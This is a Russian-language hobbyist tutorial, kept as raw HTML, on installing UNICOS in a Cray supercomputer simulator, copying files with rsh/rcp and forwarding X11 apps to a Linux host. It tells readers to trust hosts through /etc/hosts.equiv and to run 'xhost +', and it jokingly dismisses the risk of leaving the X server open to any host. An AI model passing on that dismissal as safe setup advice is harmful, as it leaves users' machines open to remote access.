  &lt;pre id=&quot;0BYp&quot; data-lang=&quot;bash&quot;&gt;make build&lt;/pre&gt;
  &lt;p id=&quot;xQso&quot;&gt;Готовые бинарники будут находиться в каталоге &lt;code&gt;simulator/_bin&lt;/code&gt;, но управляющие скрипты об этом знают, поэтому в ручную ничего перекладывать не надо.&lt;/p&gt;
  &lt;figure id=&quot;386D&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/57/0b570146-3007-40c1-825a-e56522220c7c.jpeg&quot; width=&quot;1024&quot; /&gt;
    &lt;figcaption&gt;Завершение установки на одном из сохранившихся Cray Y-MP, консоль - реальный терминал Wyse тех лет.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;C8GN&quot;&gt;Установка UNICOS&lt;/h2&gt;
  &lt;p id=&quot;zizP&quot;&gt;Теперь самая интересная стадия, которую вы пропустите если остановитесь на готовой сборке:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;hWDU&quot;&gt;установка операционной системы UNICOS в симуляторе суперкомпьютера Cray из оригинальных образов CD-дисков.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;0kQn&quot;&gt;Когда-то, за процесс ввода суперкомпьютера в эксплуатацию, отвечала целая команда высококлассных и сертифицированных инженеров, которые тщательно оберегали свои секреты.&lt;/p&gt;
  &lt;blockquote id=&quot;TvwM&quot;&gt;Но благодаря любопытным фанатам, теперь наконец и вы сможете в этом поучаствовать. &lt;/blockquote&gt;
  &lt;p id=&quot;nhlu&quot;&gt;Как уже описывал выше, два случайно обнаруженных диска оказались &lt;strong&gt;единственными&lt;/strong&gt; сохранившимися носителями загрузочного образа UNICOS и без них судьба симулятора сложилась бы совершенно иначе.&lt;/p&gt;
  &lt;p id=&quot;vbcp&quot;&gt;Образы UNICOS доступны по ссылкам:&lt;/p&gt;
  &lt;ul id=&quot;rKaZ&quot;&gt;
    &lt;li id=&quot;Klwz&quot;&gt;&lt;a href=&quot;https://archive.org/details/cray-cd1&quot; target=&quot;_blank&quot;&gt;https://archive.org/details/cray-cd1&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;IVSP&quot;&gt;&lt;a href=&quot;https://archive.org/details/cray-cd2&quot; target=&quot;_blank&quot;&gt;https://archive.org/details/cray-cd2&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;gqEO&quot;&gt;Оба диска являются загрузочными, первый содержит UNICOS версии 10.0.0.2 для модели &lt;a href=&quot;https://en.wikipedia.org/wiki/Cray_J90&quot; target=&quot;_blank&quot;&gt;Cray J90&lt;/a&gt;, второй — UNICOS 10.0.1.2 для &lt;a href=&quot;https://en.wikipedia.org/wiki/Cray_SV1&quot; target=&quot;_blank&quot;&gt;Cray SV1&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;c49d&quot;&gt;Шаги установки полностью совпадают, но устанавливать я буду более свежую версию 10.0.1.2, со второго ISO-образа.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;PdGv&quot;&gt;Несмотря на то что разные версии этой ОС предназначены для установки на разные суперкомпьютеры, в условиях симулятора все отлично работает.&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;5VZq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fd/76/fd7623f4-f812-44e2-a43c-5a5fc6a64b01.jpeg&quot; width=&quot;1200&quot; /&gt;
    &lt;figcaption&gt;Так выглядит модель Cray SV1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;woyQ&quot;&gt;Инструкция по установке от автора симулятора, находится &lt;a href=&quot;https://github.com/andrastantos/cray-sim/blob/master/unicos_install.md&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;, но к сожалению она успела немного устареть, поэтому придется использовать описанные в ней шаги с небольшими изменениями.&lt;/p&gt;
  &lt;p id=&quot;9YmZ&quot;&gt;Напоминаю, что все команды ниже, выполняемые с хоста, как и управляющие скрипты симулятора подразумевают использование &lt;code&gt;bash&lt;/code&gt;. &lt;/p&gt;
  &lt;blockquote id=&quot;2EOi&quot;&gt;Со стороны UNICOS используется &lt;code&gt;ksh&lt;/code&gt;, но для стадии установки это не особо важно.&lt;/blockquote&gt;
  &lt;p id=&quot;IHj1&quot;&gt;Для упрощения вводимых команд, зададим две переменные окружения:&lt;/p&gt;
  &lt;pre id=&quot;6q7W&quot; data-lang=&quot;bash&quot;&gt;export ISO=/mnt/iso
export SIM=/opt/work/cray/cray-sim&lt;/pre&gt;
  &lt;p id=&quot;qtyU&quot;&gt;Первая указывает на путь к примонтированному образу диска, вторая — полный путь до каталога с симулятором.&lt;/p&gt;
  &lt;p id=&quot;ZMF6&quot;&gt;Монтируем загрузочный диск с UNICOS:&lt;/p&gt;
  &lt;pre id=&quot;QVKr&quot; data-lang=&quot;bash&quot;&gt;fuseiso ./cray-cd2.iso $ISO&lt;/pre&gt;
  &lt;p id=&quot;sNTj&quot;&gt;Образ UNICOS содержит длинные имена файлов а также файлы и каталоги с именами в разных регистрах:&lt;/p&gt;
  &lt;figure id=&quot;fmKk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/45/03/4503146e-66e5-448a-b3b9-f1674be943dd.png&quot; width=&quot;691&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;d53o&quot;&gt;Поэтому использовать известный трюк с&lt;code&gt;mount -o loop&lt;/code&gt; не получится.&lt;/p&gt;
  &lt;p id=&quot;aV8X&quot;&gt;Копируем архив с системой и ядро:&lt;/p&gt;
  &lt;pre id=&quot;xt6D&quot; data-lang=&quot;bash&quot;&gt;cp $ISO/unicos_exe/ram_fs $SIM
cp $ISO/unicos_exe/krn_11.bgz $SIM&lt;/pre&gt;
  &lt;p id=&quot;t0t9&quot;&gt;Распаковываем архив с ядром:&lt;/p&gt;
  &lt;pre id=&quot;IgOc&quot; data-lang=&quot;bash&quot;&gt;cd $SIM
gzip -d -- &amp;lt; krn_11.bgz | cpio -i&lt;/pre&gt;
  &lt;p id=&quot;Ff7i&quot;&gt;В корневом каталоге симулятора появятся несколько новых файлов, нужный нам называется &lt;code&gt;unicos.generic&lt;/code&gt; — то самое ядро.&lt;/p&gt;
  &lt;p id=&quot;pgPM&quot;&gt;На этой стадии можно наконец запустить симулятор, но пока с использованием образа RAMFS, который мы только что скопировали с установочного диска:&lt;/p&gt;
  &lt;pre id=&quot;oZ9A&quot;&gt;./unicos_ramfs&lt;/pre&gt;
  &lt;p id=&quot;nRn0&quot;&gt;Запустится симулятор и появится терминал с подключением к UNICOS, запущенной в single user mode:&lt;/p&gt;
  &lt;figure id=&quot;4vts&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5c/14/5c14fc4a-72be-43b8-a952-bfe238d120fa.png&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Кто бы мог подумать, что смогу запустить в Single User Mode ОС для суперкомпьютеров Cray&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;f2q7&quot;&gt;Теперь настраиваем сеть на стороне UNICOS, поскольку следующим шагом необходимо копировать системные файлы с примонтированного ISO-образа.&lt;/p&gt;
  &lt;p id=&quot;3gqc&quot;&gt;Напомню что подключение через telnet происходит на самом деле к самому симулятору, не к эмулируемой ОС внутри.&lt;/p&gt;
  &lt;p id=&quot;TteR&quot;&gt;Вводим в консоли UNICOS:&lt;/p&gt;
  &lt;pre id=&quot;EJRR&quot; data-lang=&quot;bash&quot;&gt;ifconfig en0 172.16.0.2&lt;/pre&gt;
  &lt;p id=&quot;nRjJ&quot;&gt;После выполнения команды должна отрабатывать команда &lt;code&gt;ping&lt;/code&gt; до хоста: &lt;/p&gt;
  &lt;figure id=&quot;3Uh1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e0/aa/e0aa60f0-8ee8-46c9-a51f-376b8e79d257.png&quot; width=&quot;739&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;S77j&quot;&gt;Дальше начинается еще один интересный этап, &lt;s&gt;полный боли и страданий,&lt;/s&gt; поскольку придется встретиться с одной &lt;strong&gt;очень древней&lt;/strong&gt; технологией передачи файлов между компьютерами — &lt;a href=&quot;https://en.wikipedia.org/wiki/Berkeley_r-commands&quot; target=&quot;_blank&quot;&gt;rcp&lt;/a&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;rLZy&quot;&gt;UNICOS, который мы с вами запускаем это система из далекого 1997 года и ничего другого для передачи файлов в ее загрузочном образе просто нет.&lt;/blockquote&gt;
  &lt;p id=&quot;570n&quot;&gt;Когда-то предполагалось, что весь процесс установки и запуска в эксплуатацию суперкомпьютера — строго секретный, поэтому с «usability» не заморачивались.&lt;/p&gt;
  &lt;p id=&quot;fpFe&quot;&gt;Есть еще один важный нюанс:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;jQTG&quot;&gt;единственная доступная в образе утилита для передачи файлов на расстояние это &lt;strong&gt;клиент&lt;/strong&gt;. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;jic2&quot;&gt;Для того чтобы подключиться с его помощью и скачать файл, надо поднимать &lt;strong&gt;сервер&lt;/strong&gt;, сервер древнего &lt;code&gt;rcp&lt;/code&gt; и на современном линуксе.&lt;/p&gt;
  &lt;p id=&quot;hFMT&quot;&gt;Ввиду своей древности, rcp в любом виде (как клиент и как демон) давно отсутствует по-умолчанию в любых линуксах и BSD, а его установка и запуск в современном окружении требует «особой уличной магии».&lt;/p&gt;
  &lt;p id=&quot;rSA0&quot;&gt;Для Ubuntu вам будет необходимо установить пакеты:&lt;/p&gt;
  &lt;pre id=&quot;dZWe&quot; data-lang=&quot;bash&quot;&gt;rsh-client rsh-server&lt;/pre&gt;
  &lt;p id=&quot;rpn3&quot;&gt;для Mageia:&lt;/p&gt;
  &lt;pre id=&quot;295p&quot; data-lang=&quot;bash&quot;&gt;rsh rsh-server&lt;/pre&gt;
  &lt;p id=&quot;5zn6&quot;&gt;В последней запуск rsh-сервера происходит через демон &lt;code&gt;xinetd&lt;/code&gt;, который по-умолчанию отключен и попытка запуска будет выдавать ошибку:&lt;/p&gt;
  &lt;pre id=&quot;a9Sn&quot;&gt;xinetd.service is not active, cannot reload.&lt;/pre&gt;
  &lt;p id=&quot;yw8Q&quot;&gt;Поэтому сначала запускается &lt;code&gt;xinetd&lt;/code&gt;, затем &lt;code&gt;rsh&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;C2oU&quot; data-lang=&quot;bash&quot;&gt;service xinetd start
service rsh start&lt;/pre&gt;
  &lt;p id=&quot;KxGr&quot;&gt;Следующим шагом необходимо разрешить использование демона &lt;code&gt;rsh&lt;/code&gt; по сети (входящие подключения), для Ubuntu необходимо добавить строку в файл &lt;code&gt;/etc/hosts.equiv&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;JRuH&quot;&gt;172.16.0.2 +&lt;/pre&gt;
  &lt;p id=&quot;lGSg&quot;&gt;Для Mageia используется файл &lt;code&gt;~/.rhosts&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;wK2h&quot;&gt;Это позволит подключиться к хосту и скопировать стартовый скрипт инсталляции в запущенную UNICOS.&lt;/p&gt;
  &lt;p id=&quot;Cpar&quot;&gt;Но прежде чем копировать, скрипт необходимо немного изменить. &lt;/p&gt;
  &lt;p id=&quot;A5X2&quot;&gt;Открываем файл &lt;code&gt;install&lt;/code&gt; (находится в корневом каталоге симулятора) любимым редактором &lt;code&gt;vi&lt;/code&gt; и заполняем значения переменных:&lt;/p&gt;
  &lt;ul id=&quot;MAP7&quot;&gt;
    &lt;li id=&quot;sv4B&quot;&gt;&lt;code&gt;LOCAL_LOGIN&lt;/code&gt; = имя пользователя на хосте&lt;/li&gt;
    &lt;li id=&quot;Etbr&quot;&gt;&lt;code&gt;ISO_MNT&lt;/code&gt; = /полный/путь/к каталогу с образом UNICOS&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;2T7H&quot;&gt;Также добавляем новую переменную &lt;code&gt;SIM_LOC&lt;/code&gt;, которой устанавливаем значение в виде полного пути к каталогу с симулятором.&lt;/p&gt;
  &lt;p id=&quot;Oosy&quot;&gt;Заранее предупреждаю, что в скрипте инсталляции &lt;em&gt;есть небольшая ошибка&lt;/em&gt;, связанная с определением версии устанавливаемой системы. На процесс инсталляции она не влияет, но бесит и раздражает, поскольку появляется в самом начале.&lt;/p&gt;
  &lt;p id=&quot;myWK&quot;&gt;Чтобы ее избежать, необходимо задать еще одну переменную:&lt;/p&gt;
  &lt;pre id=&quot;MHsi&quot;&gt;UNICOS_EXE=UNICOS_exe&lt;/pre&gt;
  &lt;p id=&quot;fAZH&quot;&gt;В результате всех описанных выше правок должно получиться такое:&lt;/p&gt;
  &lt;figure id=&quot;47pI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/34/1c/341cdf95-4bdf-41b6-9d7d-b914d91e1886.png&quot; width=&quot;831&quot; /&gt;
    &lt;figcaption&gt;Финальный скрипт установки операционной системы Cray, мама будет вами гордиться ;)&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;emcV&quot;&gt;Cохраняем изменения, затем на стороне UNICOS вводим команды, заменив предварительно имя пользователя и путь к симулятору:&lt;/p&gt;
  &lt;pre id=&quot;piMk&quot; data-lang=&quot;bash&quot;&gt;cd /
rcp alex@172.16.0.1:/opt/work/cray/cray_sim/install .&lt;/pre&gt;
  &lt;p id=&quot;m8OP&quot;&gt;В результате выполнения команды файл &lt;code&gt;install&lt;/code&gt; будет скопирован с хоста и появится в корне файловой системы UNICOS:&lt;/p&gt;
  &lt;figure id=&quot;abL6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6b/e0/6be01864-808b-44af-8d59-424c1078f599.png&quot; width=&quot;739&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;djdw&quot;&gt;Запускаем скопированный скрипт инсталляции UNICOS:&lt;/p&gt;
  &lt;pre id=&quot;Lty4&quot;&gt;./install&lt;/pre&gt;
  &lt;p id=&quot;GxKf&quot;&gt;Появится сообщение с перечислением введенных параметров: &lt;/p&gt;
  &lt;figure id=&quot;tXWy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ca/39/ca39a10e-f1a0-41d5-9a6c-0b65bd1c8100.png&quot; width=&quot;730&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lKY2&quot;&gt;Нажимаем любую клавишу и запустится увлекательный процесс установки операционной системы для суперкомпьютера Cray:&lt;/p&gt;
  &lt;figure id=&quot;ZJ86&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/40/2b/402bbfd1-e4b5-4086-9d93-0d0891276c15.png&quot; width=&quot;739&quot; /&gt;
    &lt;figcaption&gt;Несмотря на эпичность, это всего лишь копирование файлов по сети.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;eypv&quot;&gt;Процесс достаточно длительный и занимает несколько часов, вне зависимости от мощи вашего оборудования, так что вполне успеете принести &lt;s&gt;кровавую жертву темным богам&lt;/s&gt; выпить чаю в хорошей компании.&lt;/p&gt;
  &lt;p id=&quot;K9t6&quot;&gt;В самом конце установки, будет предложено установить пароль для суперпользователя, а также будет запущен диалог создания учетной записи обычного пользователя.&lt;/p&gt;
  &lt;p id=&quot;via8&quot;&gt;После чего установка наконец будет завершена:&lt;/p&gt;
  &lt;figure id=&quot;HX0e&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/af/52/af5224d5-f0a2-418a-b3e8-5f9f205d0025.png&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Да, вы только что установили ОС на суперкомпьютер Cray, пусть и виртуальный.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iZN7&quot;&gt;Во время установки UNICOS происходит один очень важный шаг, о котором стоит рассказать — линковка ядра. &lt;/p&gt;
  &lt;p id=&quot;fxWJ&quot;&gt;Эта практика происходит из времен первых UNIX, когда архитектур было много а стандартов мало. Совместимость оборудования хромала, поэтому такая линковка использовалась в качестве своеобразного финального теста системы.&lt;/p&gt;
  &lt;p id=&quot;0uNR&quot;&gt;Из современных операционных систем, эту практику сохранила например OpenBSD, хотя и по &lt;a href=&quot;https://why-openbsd.rocks/fact/karl/&quot; target=&quot;_blank&quot;&gt;другой причине&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;gYQ0&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;NAHH&quot;&gt;Останавливаем симулятор командой &lt;code&gt;exit&lt;/code&gt; и убеждаемся, что основное ядро UNICOS успешно слинковано — должен появиться файл &lt;code&gt;unicos.ymp.10012&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;I10k&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6d/e8/6de82c6b-0287-4446-95ea-5a498b490980.png&quot; width=&quot;831&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;P4s5&quot;&gt;После этого, проверяем файл &lt;code&gt;unicos.cfg&lt;/code&gt;, в котором должно появиться указание на новое ядро:&lt;/p&gt;
  &lt;figure id=&quot;xwWd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e3/92/e3920761-2a8b-4575-9f7d-0c07b003ed49.png&quot; width=&quot;831&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Xime&quot;&gt;Если все хорошо и ссылка на свежее ядро на месте, запускаем полноценную симуляцию:&lt;/p&gt;
  &lt;pre id=&quot;WFo0&quot;&gt;./unicos&lt;/pre&gt;
  &lt;p id=&quot;skA2&quot;&gt;Так выглядит полностью запущенный симулятор суперкомпьютера Cray J90 с только что установленной UNICOS:&lt;/p&gt;
  &lt;figure id=&quot;gruF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/27/80278593-ef07-4d19-869d-af5a7f37e92e.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zJ0v&quot;&gt;Если на стороне UNICOS прописать маршрут по-умолчанию, такой же командой как и в готовой сборке:&lt;/p&gt;
  &lt;pre id=&quot;Xo8V&quot; data-lang=&quot;bash&quot;&gt;route add default 172.16.0.2&lt;/pre&gt;
  &lt;p id=&quot;K47t&quot;&gt;..получим выход в интернет. &lt;/p&gt;
  &lt;p id=&quot;5O6N&quot;&gt;Прямо с суперкомпьютера Cray, вы правильно поняли:&lt;/p&gt;
  &lt;figure id=&quot;fXiB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/28/75/28750e0d-621e-428e-bf34-c1b7e2fe0c60.png&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Мам, я вывел суперкомпьютер Cray в интернет! &lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4b8C&quot;&gt;Вы же не думали, будто на этом я успокоюсь, открою шампанское, &lt;s&gt;вызову девок&lt;/s&gt; и уйду в загул? Конечно же нет и впереди ждет еще много интересного и удивительного.&lt;/p&gt;
  &lt;h2 id=&quot;inao&quot;&gt;Графический интерфейс, на суперкомпьютере&lt;/h2&gt;
  &lt;p id=&quot;oDLk&quot;&gt;В найденных образах UNICOS, один из которых мы только что использовали для установки, была обнаружена &lt;strong&gt;работающая&lt;/strong&gt; клиентская библиотека для протокола X11.&lt;/p&gt;
  &lt;p id=&quot;Piry&quot;&gt;Самого X-сервера внутри разумеется нет, поскольку далекие предки использовали специальные управляющие терминалы с SGI Irix:  &lt;/p&gt;
  &lt;figure id=&quot;ZbAc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c3/6d/c36dabc2-d859-4ba5-bce4-60e5e361a609.jpeg&quot; width=&quot;696&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NVbT&quot;&gt;Зато есть возможность пробросить отображение приложения с поддержкой протокола X11, чтобы оно отрисовывалось на запущенном &lt;strong&gt;современном&lt;/strong&gt; Xorg-сервере хоста.&lt;/p&gt;
  &lt;p id=&quot;YXmb&quot;&gt;Что автор немедленно и проделал:&lt;/p&gt;
  &lt;figure id=&quot;IQOg&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f8/64/f8642483-ada3-4468-9ced-681d8dae34ce.png&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Часики, которые тикают прямо на суперкомпьютере Cray.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DvUY&quot;&gt;Два приложения на скриншоте выше &lt;code&gt;xterm&lt;/code&gt; и &lt;code&gt;xlock&lt;/code&gt; — запущены из работающей UNICOS и отображаются в Xorg-сервере на Mageia Linux.&lt;/p&gt;
  &lt;p id=&quot;hjPn&quot;&gt;Чтобы это повторить, необходимо принести кровавую жерт.. ээ выполнить три простых шага, описанные ниже.&lt;/p&gt;
  &lt;h3 id=&quot;OeTK&quot;&gt;Запуск Xorg-сервера с поддержкой сети&lt;/h3&gt;
  &lt;p id=&quot;LkSO&quot;&gt;По-умолчанию и очень давно, даже в самых олдскульных дистрибьютивах вроде Slackware, X-сервер запускается с параметром &lt;code&gt;-nolisten&lt;/code&gt;, запрещающим удаленное подключение по сети.&lt;/p&gt;
  &lt;p id=&quot;Q6yR&quot;&gt;Чтобы в этом убедиться, достаточно выполнить команду на хосте, которая покажет запущенный X-сервер со всеми параметрами:&lt;/p&gt;
  &lt;pre id=&quot;QEs8&quot; data-lang=&quot;bash&quot;&gt;ps -ax |grep X&lt;/pre&gt;
  &lt;p id=&quot;LSB1&quot;&gt;Запускается X-сервер из специального приложения «display manager» (dm), который ответчает за красивое графическое окно авторизации, поэтому параметры запуска X-сервера указываются в настройках этого менеджера.&lt;/p&gt;
  &lt;p id=&quot;k2Eh&quot;&gt;Поскольку в моей системе используется LightDM, для того чтобы X-сервер начал прослушивать сетевой порт, я добавил следующую настройку в раздел &lt;code&gt;[Seat:*]&lt;/code&gt; в файл &lt;code&gt;/etc/lightdm/lightdm.conf.d/49-mageia.conf&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;H2Cf&quot;&gt;xserver-allow-tcp=true
xserver-command=X -listen tcp&lt;/pre&gt;
  &lt;p id=&quot;u5WN&quot;&gt;После чего сервис &lt;code&gt;lightdm&lt;/code&gt; необходимо перезапустить:&lt;/p&gt;
  &lt;pre id=&quot;7Ihs&quot; data-lang=&quot;bash&quot;&gt;service lightdm restart&lt;/pre&gt;
  &lt;p id=&quot;NGl2&quot;&gt;Естественно вас в этот момент выбросит из системы, так что будьте готовы и остановите заранее симулятор, если он был запущен.&lt;/p&gt;
  &lt;h3 id=&quot;mDLI&quot;&gt;Разрешение удаленного доступа без авторизации&lt;/h3&gt;
  &lt;p id=&quot;TWm2&quot;&gt;Следующим шагом необходимо отключить авторизацию при подключении к X-серверу по сети.&lt;/p&gt;
  &lt;p id=&quot;wq54&quot;&gt;Для этого авторизуйтесь с помощью DM и запустите графическое окружение — как вы обычно это делаете, затем введите в консоли:&lt;/p&gt;
  &lt;pre id=&quot;qTcr&quot; data-lang=&quot;bash&quot;&gt;xhost +&lt;/pre&gt;
  &lt;p id=&quot;4iRA&quot;&gt;Выглядит это так:&lt;/p&gt;
  &lt;figure id=&quot;OfEF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/51/18/5118f912-82a4-49cb-9653-3b662e4dcc68.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UKkF&quot;&gt;После выполнения этой команды будет доступно удаленное подключение к вашему X-cерверу с любого хоста.&lt;/p&gt;
  &lt;p id=&quot;ypS3&quot;&gt;Что конечно считалось опасным еще лет двадцать назад, но в нынешние продвинутые времена (с Wayland вместо Xorg), когда о самой возможности такого удаленного подключения уже мало кто помнит — не стоит заморачиваться:&lt;/p&gt;
  &lt;blockquote id=&quot;GwEt&quot;&gt;все, кто теоретически смог бы таким образом подключиться к вашей машине давно умерли или наслаждаются маразмом.&lt;/blockquote&gt;
  &lt;p id=&quot;Xn2a&quot;&gt;Кроме автора, разумеется.&lt;/p&gt;
  &lt;h3 id=&quot;eNlv&quot;&gt;Указание адреса удаленного X-сервера&lt;/h3&gt;
  &lt;p id=&quot;gRrh&quot;&gt;Наконец последним шагом необходимо указать адрес удаленного X-сервера на стороне UNICOS.&lt;/p&gt;
  &lt;p id=&quot;Jaie&quot;&gt;Делается это командой (не забываем о ksh по-умолчанию):&lt;/p&gt;
  &lt;pre id=&quot;fbSp&quot; data-lang=&quot;bash&quot;&gt;setenv DISPLAY 172.16.0.1:0.0&lt;/pre&gt;
  &lt;p id=&quot;reEn&quot;&gt;Набор софта с графическим интерфейсом находится в каталоге &lt;code&gt;/usr/bin/X11&lt;/code&gt;, так для примера выглядит запуск &lt;code&gt;xterm&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;Zsof&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b4/37/b437f04a-c3e2-4e38-a5b7-f7f323a9a2e3.png&quot; width=&quot;775&quot; /&gt;
    &lt;figcaption&gt;&amp;quot;This is a private computer facility&amp;quot; - самое возбуждающее приглашение на свете.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ByFM&quot;&gt;Если вы выполнили все шаги правильно, появится графическое окно, с запущенным приложением, работающим в среде суперкомпьютера:&lt;/p&gt;
  &lt;figure id=&quot;hN8S&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cc/79/cc795584-21c8-4ec8-97bc-cc24ae13a255.png&quot; width=&quot;577&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xnxx&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;a1jo&quot;&gt;И.. нет, это еще не конец.&lt;/p&gt;
  &lt;h2 id=&quot;UGcj&quot;&gt;Особенные радости, для особенных&lt;/h2&gt;
  &lt;p id=&quot;BK3X&quot;&gt;Вместе с симулятором поставляется интересный архив &lt;code&gt;goodies.tar&lt;/code&gt;, собранный оригинальным автором симулятора, который можно найти в каталоге &lt;code&gt;unicos_tools&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;MM2W&quot;&gt;Архив содержит несколько известных утилит, собранных для UNICOS, без которых жизнь юниксоида сера и уныла — &lt;code&gt;bash&lt;/code&gt; и &lt;code&gt;midnight commander&lt;/code&gt;.&lt;/blockquote&gt;
  &lt;p id=&quot;DY6h&quot;&gt;Узрите смертные, ибо так выглядит ваш любимый &lt;code&gt;mc&lt;/code&gt; , запущенный на суперкомпьютере Cray:&lt;/p&gt;
  &lt;figure id=&quot;djGz&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b2/52/b2523d82-4a1d-459d-b3dd-0add688e0a3f.png&quot; width=&quot;739&quot; /&gt;
    &lt;figcaption&gt;Страшно? А мы предупреждали.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;C3Tr&quot;&gt;Копируется сей замечательный архив с помощью уже известного по процессу установки &lt;code&gt;rcp&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;uPaG&quot; data-lang=&quot;bash&quot;&gt;rcp alex@172.16.0.1:/opt/work/cray/cray-sim/unicos_toos/goodies.tar /&lt;/pre&gt;
  &lt;p id=&quot;wXLT&quot;&gt;Распаковывается в каталог &lt;code&gt;/usr&lt;/code&gt;, который уже присутствует в переменной окружения &lt;code&gt;PATH&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;HI2q&quot; data-lang=&quot;bash&quot;&gt;cd /usr
tar xvf /goodies.tar
rm /goodies.tar&lt;/pre&gt;
  &lt;p id=&quot;SD0g&quot;&gt;Перед запуском необходимо выставить бит запуска:&lt;/p&gt;
  &lt;pre id=&quot;Ajee&quot; data-lang=&quot;bash&quot;&gt;chmod +x /usr/bin/mc
chmod +x /usr/bin/bash&lt;/pre&gt;
  &lt;p id=&quot;82yW&quot;&gt;и соответствующие права:&lt;/p&gt;
  &lt;pre id=&quot;RSlL&quot; data-lang=&quot;bash&quot;&gt;chmod 765 /usr/bin/mc
chmod 765 /usr/bin/bash&lt;/pre&gt;
  &lt;p id=&quot;l7Fq&quot;&gt;Если &lt;code&gt;mc&lt;/code&gt; будет ругаться при запуске, необходимо выставить тип терминала:&lt;/p&gt;
  &lt;pre id=&quot;vt0a&quot; data-lang=&quot;bash&quot;&gt;setenv TERM xterm&lt;/pre&gt;
  &lt;p id=&quot;fOQ2&quot;&gt;И нет, это тоже еще не коне.. &lt;/p&gt;
  &lt;p id=&quot;bHf6&quot;&gt;(удары тяжелым предметом на фоне)&lt;/p&gt;
  &lt;p id=&quot;8KAY&quot;&gt;Механический голос за кадром:&lt;/p&gt;
  &lt;p id=&quot;hW0y&quot;&gt;..угроза раскрытия корпоративных секретов устранена.&lt;/p&gt;
